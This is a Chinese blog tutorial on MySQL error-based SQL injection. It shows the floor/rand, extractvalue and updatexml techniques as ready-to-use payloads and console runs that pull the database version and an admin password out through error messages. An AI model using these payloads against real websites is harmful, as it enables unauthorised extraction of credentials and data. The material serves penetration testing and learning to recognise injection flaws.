mysql报错注入_关于Mysql注入过程中的三种报错方式
放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
实际测试环境:
Default
mysql> show tables;
+----------------+
| Tables_in_test |
+----------------+
| admin |
| article |
+----------------+
1
2
3
4
5
6
7
mysql>showtables;
+----------------+
|Tables_in_test|
+----------------+
|admin|
|article|
+----------------+
Default
mysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-------+------------------+------+-----+---------+----------------+
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
| user | varchar(50) | NO | | NULL | |
| pass | varchar(50) | NO | | NULL | |
+-------+------------------+------+-----+---------+----------------+
1
2
3
4
5
6
7
8
mysql>describeadmin;
+-------+------------------+------+-----+---------+----------------+
|Field|Type|Null|Key|Default|Extra|
+-------+------------------+------+-----+---------+----------------+
|id|int(10)unsigned|NO|PRI|NULL|auto_increment|
|user|varchar(50)|NO||NULL||
|pass|varchar(50)|NO||NULL||
+-------+------------------+------+-----+---------+----------------+
Default
mysql> describe article;
+---------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+---------+------------------+------+-----+---------+----------------+
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
| title | varchar(50) | NO | | NULL | |
| content | varchar(50) | NO | | NULL | |
+---------+------------------+------+-----+---------+----------------+
1
2
3
4
5
6
7
8
mysql>describearticle;
+---------+------------------+------+-----+---------+----------------+
|Field|Type|Null|Key|Default|Extra|
+---------+------------------+------+-----+---------+----------------+
|id|int(10)unsigned|NO|PRI|NULL|auto_increment|
|title|varchar(50)|NO||NULL||
|content|varchar(50)|NO||NULL||
+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
可以通过如下一些利用代码
Default
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);
1
2
andselect1from(selectcount(*),concat(version(),floor(rand(0)*2))x
frominformation_schema.tablesgroupbyx)a);
Default
and (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
1
2
3
and(selectcount(*)from(select1unionselectnullunionselect!1)x
groupbyconcat((selecttable_namefrominformation_schema.tableslimit1),
floor(rand(0)*2)));
举例如下:
首先进行正常查询:
Default
mysql> select * from article where id = 1;
+----+-------+---------+
| id | title | content |
+----+-------+---------+
| 1 | test | do it |
+----+-------+---------+
1
2
3
4
5
6
mysql>select *fromarticlewhereid=1;
+----+-------+---------+
|id|title|content|
+----+-------+---------+
|1|test|doit|
+----+-------+---------+
假如id输入存在注入的话,可以通过如下语句进行报错。
Default
mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
1
2
3
mysql>select *fromarticlewhereid=1and(select1from
(selectcount(*),concat(version(),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a);
ERROR1062(23000):Duplicateentry'5.1.33-community-log1'forkey'group_key'
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码:
Method1:
Default
mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
1
2
3
4
mysql>select *fromarticlewhereid=1and(select1from
(selectcount(*),concat((selectpassfromadminwhereid=1),floor(rand(0)*2))x
frominformation_schema.tablesgroupbyx)a);
ERROR1062(23000):Duplicateentry'admin8881'forkey'group_key'
Method2:
Default
mysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
1
2
3
4
mysql>select *fromarticlewhereid=1and(selectcount(*)
from(select1unionselectnullunionselect!1)xgroupbyconcat((selectpassfromadminlimit1),
floor(rand(0)*2)));
ERROR1062(23000):Duplicateentry'admin8881'forkey'group_key'
2、ExtractValue
测试语句如下
Default
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
1
andextractvalue(1,concat(0x5c,(selecttable_namefrominformation_schema.tableslimit1)));
实际测试过程
Default
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
1
2
3
mysql>select *fromarticlewhereid=1andextractvalue(1,concat(0x5c,
(selectpassfromadminlimit1)));--
ERROR1105(HY000):XPATHsyntaxerror:'\admin888'
3、UpdateXml
测试语句
Default
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
1
and1=(updatexml(1,concat(0x5e24,(selectuser()),0x5e24),1))
实际测试过程
Default
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
1
2
3
mysql>select *fromarticlewhereid=1and1=(updatexml(1,concat(0x5e24,
(selectpassfromadminlimit1),0x5e24),1));
ERROR1105(HY000):XPATHsyntaxerror:'^$admin888^$'
All, thanks foreign guys.
link:http://blog.ourren.com/2012/11/03/pentest_method_of_mysql_error.html
本文由网络安全攻防研究室(www.91ri.org)信息安全小组收集整理,转载请注明出处!
mysql报错注入_关于Mysql注入过程中的三种报错方式相关推荐
- java按钮权限控制_详解Spring Security 中的四种权限控制方式
Spring Security 中对于权限控制默认已经提供了很多了,但是,一个优秀的框架必须具备良好的扩展性,恰好,Spring Security 的扩展性就非常棒,我们既可以使用 Spring Se ...
- ftl有三种映射地址_浅谈以太坊中的三种“树”
无论是比特币还是以太坊,它们都是完全由代码创造出来的,它们的几乎所有一切都是程序执行的结果.对计算机程序有些了解的朋友应该都知道,计算机程序离不开数据结构和算法. 顺便提一下,有部分人不认为比特币和以 ...
- wps改照片底色有红边_入学攻略丨证件照的三种换底色方式,你知道了吗?
46 ♡ 关注集大情报局,更多资讯马上奉上! 本文共计3097字,很多图,建议阅读时间:15分钟 [长文预警] 最近不少人在后台提问 开学要不要带证件照 要带什么底色的证件照 要带几寸的证件照 要带几 ...
- mysql数据库建仓范式_存mysql个数
MySQL学习笔记之数据类型详解 注:以下内容针对MySQL5.0及以上版本 MySQL的数据类型非常多,选择正确的数据类型对于获得高性能至关重要,本文是我结合网上看到的一些blog加上<高性能 ...
- mysql临键锁_详解 MySql InnoDB 中的三种行锁(记录锁、间隙锁与临键锁)
详解 MySql InnoDB 中的三种行锁(记录锁.间隙锁与临键锁) 前言 InnoDB 通过 MVCC 和 NEXT-KEY Locks,解决了在可重复读的事务隔离级别下出现幻读的问题.MVCC ...
- 重新安装mysql5.7.21_linux 安装mysql 5.7.21详解以及安装过程中所遇问题解决
在安装过程中所遇到的问题有: 1.my-default.cnf文件找不到 2.mysql启动报错 3.mysql临时密码无法登录 安装环境centos 6.0 下载数据库: [root@CLangua ...
- mysql 三种工作模式_mybatis三种批量插入方式对比【面试+工作】
准备:1.表结构CREATE TABLE `t_user` ( `id` varchar(32) CHARACTER SET utf8 NOT NULL COMMENT '主键', `name` va ...
- 了解mysql的三种不同安装方式的区别
学习目的:了解mysql的三种不同安装方式的区别 学习内容: mysql 的安装有三种:分别是源码安装.二进制安装.rpm安装. 源码安装的优势:linux操作系统开放源代码,因此在其上面安装的软件大 ...
- MySQL buffer pool中的三种链
三种page.三种list.LRU控制调优 一.innodb buffer pool中的三种页 1.free page:从未用过的页 2.clean page:干净的页,数据页的数据和磁盘一致 3.d ...
最新文章
- 构建根文件系统之启动第1个程序init
- NoSQL还是SQL?这一篇讲清楚
- Android-深入理解AIDL
- boost::spirit模块实现逗号分隔的数字列表的解析器的测试程序
- aop实现原理_从宏观的实现原理和设计本质入手,带你理解 AOP 框架的原理
- Python中math模块的使用
- 史玉柱吃透了中国人的人性,也引发了争议
- 苹果AirPods 2又有新消息了!具备防滑涂层和新配色
- 冒泡排序java jsp_冒泡排序实现原理
- js 创建多行字符串
- 黑马程序员-Java学习笔记之抽象类,接口,多态和内部类
- 关于vba word的一些用法
- IntelliJ IDEA 12.0搭建Maven Web SSH2架构项目示例(二)
- VMware 安装windows XP SP3 镜像下载地址 回忆xp经典
- matlab getprmdflt,DFLT40A-7中文资料
- python应用程序无法正常启动0x00000ba_应用程序无法正常启动0xc000012d?怎么解决?...
- AI反网络诈骗白皮书发布:一场人工智能与电信网络诈骗结合的攻防战
- 翻译:Panda3D Manual/V. Programming with Panda/E. Camera Control
- 机器视觉系统图像采集卡功能特点及应用场景介绍
- 身家200亿到入狱,中国股神的悲壮人生
热门文章
- 腾讯的前端工程师,是如何精进技术的?
- java求数组中满足给定和的数对,【加试题】数组a中有50个互异的整数,已按升序排列。给定一个正整数key,寻找数组a中是否有一对数的和等于给定的数key,算法如下:...
- 整合营销系统推荐乐云seo_做seo优化前需要考虑哪些
- 压缩版styleGAN
- pyqt qscrollarea 设置滚动位置
- el search 查询排序
- CheXNet 肺炎
- FFmpeg4.1 视频解码,保存原始YUV数据
- pytorch cat、stack、tranpose、permute、unsqeeze
- cuda nvcc dll